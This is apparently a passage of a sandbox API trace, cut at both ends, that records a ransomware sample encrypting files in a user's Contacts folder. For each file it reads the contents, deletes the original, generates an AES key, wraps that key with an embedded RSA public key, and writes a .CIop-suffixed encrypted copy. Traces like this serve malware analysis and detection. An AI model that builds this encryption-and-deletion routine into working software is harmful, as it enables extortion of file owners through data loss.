dwFlags=0x4000, phKey=0x334e5bc | out: phKey=0x334e5bc*=0x5d6548) returned 1 [0088.089] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x334e5ec | out: pbData=0x0*, pdwDataLen=0x334e5ec*=0x94) returned 1 [0088.089] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3360000, pdwDataLen=0x334e5ec | out: pbData=0x3360000*, pdwDataLen=0x334e5ec*=0x94) returned 1 [0088.089] CryptDestroyKey (hKey=0x5d6548) returned 1 [0088.089] CryptReleaseContext (hProv=0x5ebe78, dwFlags=0x0) returned 1 [0088.089] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0088.090] WriteFile (in: hFile=0x398, lpBuffer=0x5ed568*, nNumberOfBytesToWrite=0x49a, lpNumberOfBytesWritten=0x334e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ed568*, lpNumberOfBytesWritten=0x334e5d8*=0x49a, lpOverlapped=0x0) returned 1 [0088.091] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x49a [0088.091] WriteFile (in: hFile=0x398, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x334e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x334e5d8*=0x7, lpOverlapped=0x0) returned 1 [0088.091] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4a1 [0088.091] SetErrorMode (uMode=0x1) returned 0x1 [0088.091] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0088.091] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x334d5b8, pcbBinary=0x334d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x334d5b8, pcbBinary=0x334d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0088.091] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x334d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x334d5a0, pcbStructInfo=0x334d598 | out: pvStructInfo=0x334d5a0, pcbStructInfo=0x334d598) returned 1 [0088.091] CryptAcquireContextW (in: phProv=0x334d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x334d5a8*=0x5ec230) returned 1 [0088.091] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ec230, dwCertEncodingType=0x1, pInfo=0x5e7ad8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x334d5b0 | out: phKey=0x334d5b0*=0x5d6388) returned 1 [0088.091] CryptEncrypt (in: hKey=0x5d6388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x334d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x334d5b4*=0x80) returned 1 [0088.091] CryptEncrypt (in: hKey=0x5d6388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ec670*, pdwDataLen=0x334d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ec670*, pdwDataLen=0x334d5a4*=0x80) returned 1 [0088.091] WriteFile (in: hFile=0x398, lpBuffer=0x5ec670*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x334e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ec670*, lpNumberOfBytesWritten=0x334e5d8*=0x80, lpOverlapped=0x0) returned 1 [0088.092] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.092] VirtualFree (lpAddress=0x3350000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.092] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.092] CloseHandle (hObject=0x398) returned 1 [0088.093] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact")) returned 0 Thread: id = 34 os_tid = 0xf7c [0088.232] lstrcpyA (in: lpString1=0x304e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.232] lstrcpyW (in: lpString1=0x304f368, lpString2="asdlfk poopvy.contact" | out: lpString1="asdlfk poopvy.contact") returned="asdlfk poopvy.contact" [0088.232] lstrcpyW (in: lpString1=0x304f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.233] SetErrorMode (uMode=0x1) returned 0x1 [0088.233] wsprintfW (in: param_1=0x304eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact") returned 56 [0088.233] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact", dwFileAttributes=0x20) returned 1 [0088.233] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch=".CIop") returned 0x0 [0088.233] wsprintfW (in: param_1=0x304e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CIop") returned 61 [0088.233] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0088.233] ReadFile (in: hFile=0x39c, lpBuffer=0x60b6c0, nNumberOfBytesToRead=0x493, lpNumberOfBytesRead=0x304e5e8, lpOverlapped=0x0 | out: lpBuffer=0x60b6c0*, lpNumberOfBytesRead=0x304e5e8*=0x493, lpOverlapped=0x0) returned 1 [0088.234] CloseHandle (hObject=0x39c) returned 1 [0088.234] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact")) returned 1 [0088.235] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3050000 [0088.236] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3060000 [0088.236] SetErrorMode (uMode=0x1) returned 0x1 [0088.236] CryptAcquireContextW (in: phProv=0x304e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x304e5b8*=0x5ebe78) returned 1 [0088.238] CryptGenKey (in: hProv=0x5ebe78, Algid=0x1, dwFlags=0x4000, phKey=0x304e5bc | out: phKey=0x304e5bc*=0x5d6548) returned 1 [0088.421] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x304e5ec | out: pbData=0x0*, pdwDataLen=0x304e5ec*=0x94) returned 1 [0088.421] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3060000, pdwDataLen=0x304e5ec | out: pbData=0x3060000*, pdwDataLen=0x304e5ec*=0x94) returned 1 [0088.421] CryptDestroyKey (hKey=0x5d6548) returned 1 [0088.421] CryptReleaseContext (hProv=0x5ebe78, dwFlags=0x0) returned 1 [0088.421] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0088.422] WriteFile (in: hFile=0x39c, lpBuffer=0x60b6c0*, nNumberOfBytesToWrite=0x493, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x60b6c0*, lpNumberOfBytesWritten=0x304e5d8*=0x493, lpOverlapped=0x0) returned 1 [0088.422] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0088.422] WriteFile (in: hFile=0x39c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x304e5d8*=0x7, lpOverlapped=0x0) returned 1 [0088.422] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x49a [0088.423] SetErrorMode (uMode=0x1) returned 0x1 [0088.423] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0088.423] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x304d5b8, pcbBinary=0x304d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x304d5b8, pcbBinary=0x304d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0088.423] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x304d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x304d5a0, pcbStructInfo=0x304d598 | out: pvStructInfo=0x304d5a0, pcbStructInfo=0x304d598) returned 1 [0088.423] CryptAcquireContextW (in: phProv=0x304d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x304d5a8*=0x5ec780) returned 1 [0088.423] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ec780, dwCertEncodingType=0x1, pInfo=0x5e7388, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x304d5b0 | out: phKey=0x304d5b0*=0x5d6248) returned 1 [0088.423] CryptEncrypt (in: hKey=0x5d6248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x304d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x304d5b4*=0x80) returned 1 [0088.423] CryptEncrypt (in: hKey=0x5d6248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ecb38*, pdwDataLen=0x304d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ecb38*, pdwDataLen=0x304d5a4*=0x80) returned 1 [0088.423] WriteFile (in: hFile=0x39c, lpBuffer=0x5ecb38*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ecb38*, lpNumberOfBytesWritten=0x304e5d8*=0x80, lpOverlapped=0x0) returned 1 [0088.423] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.423] VirtualFree (lpAddress=0x3050000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.424] VirtualFree (lpAddress=0x3060000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.424] CloseHandle (hObject=0x39c) returned 1 [0088.424] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact")) returned 0 Thread: id = 35 os_tid = 0xf80 [0088.576] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.576] lstrcpyW (in: lpString1=0x2f0f368, lpString2="chucu jadnvk.contact" | out: lpString1="chucu jadnvk.contact") returned="chucu jadnvk.contact" [0088.576] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.576] SetErrorMode (uMode=0x1) returned 0x1 [0088.576] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact") returned 55 [0088.576] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact", dwFileAttributes=0x20) returned 1 [0088.577] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch=".CIop") returned 0x0 [0088.577] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CIop") returned 60 [0088.577] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0088.577] ReadFile (in: hFile=0x394, lpBuffer=0x5e9e20, nNumberOfBytesToRead=0x499, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x5e9e20*, lpNumberOfBytesRead=0x2f0e5e8*=0x499, lpOverlapped=0x0) returned 1 [0088.578] CloseHandle (hObject=0x394) returned 1 [0088.578] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact")) returned 1 [0088.579] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0088.579] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0088.579] SetErrorMode (uMode=0x1) returned 0x1 [0088.579] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x5ec808) returned 1 [0088.581] CryptGenKey (in: hProv=0x5ec808, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d5f08) returned 1 [0088.621] CryptExportKey (in: hKey=0x5d5f08, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0088.621] CryptExportKey (in: hKey=0x5d5f08, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0088.621] CryptDestroyKey (hKey=0x5d5f08) returned 1 [0088.621] CryptReleaseContext (hProv=0x5ec808, dwFlags=0x0) returned 1 [0088.621] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0088.622] WriteFile (in: hFile=0x398, lpBuffer=0x5e9e20*, nNumberOfBytesToWrite=0x499, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5e9e20*, lpNumberOfBytesWritten=0x2f0e5d8*=0x499, lpOverlapped=0x0) returned 1 [0088.622] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0088.623] WriteFile (in: hFile=0x398, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0088.623] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4a0 [0088.623] SetErrorMode (uMode=0x1) returned 0x1 [0088.623] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0088.623] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0088.623] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0088.623] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x5ec4d8) returned 1 [0088.623] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ec4d8, dwCertEncodingType=0x1, pInfo=0x5e7ba8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6448) returned 1 [0088.623] CryptEncrypt (in: hKey=0x5d6448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0088.623] CryptEncrypt (in: hKey=0x5d6448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ec808*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ec808*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0088.623] WriteFile (in: hFile=0x398, lpBuffer=0x5ec808*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ec808*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0088.623] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.623] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.624] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.624] CloseHandle (hObject=0x398) returned 1 [0088.624] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact")) returned 0 Thread: id = 36 os_tid = 0xf84 [0088.626] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.626] lstrcpyW (in: lpString1=0x306f368, lpString2="lulcit amkdfe.contact" | out: lpString1="lulcit amkdfe.contact") returned="lulcit amkdfe.contact" [0088.626] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.626] SetErrorMode (uMode=0x1) returned 0x1 [0088.626] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact") returned 56 [0088.626] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact", dwFileAttributes=0x20) returned 1 [0088.626] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch=".CIop") returned 0x0 [0088.626] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CIop") returned 61 [0088.626] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x38c [0088.626] ReadFile (in: hFile=0x38c, lpBuffer=0x5e9e20, nNumberOfBytesToRead=0x496, lpNumberOfBytesRead=0x306e5e8, lpOverlapped=0x0 | out: lpBuffer=0x5e9e20*, lpNumberOfBytesRead=0x306e5e8*=0x496, lpOverlapped=0x0) returned 1 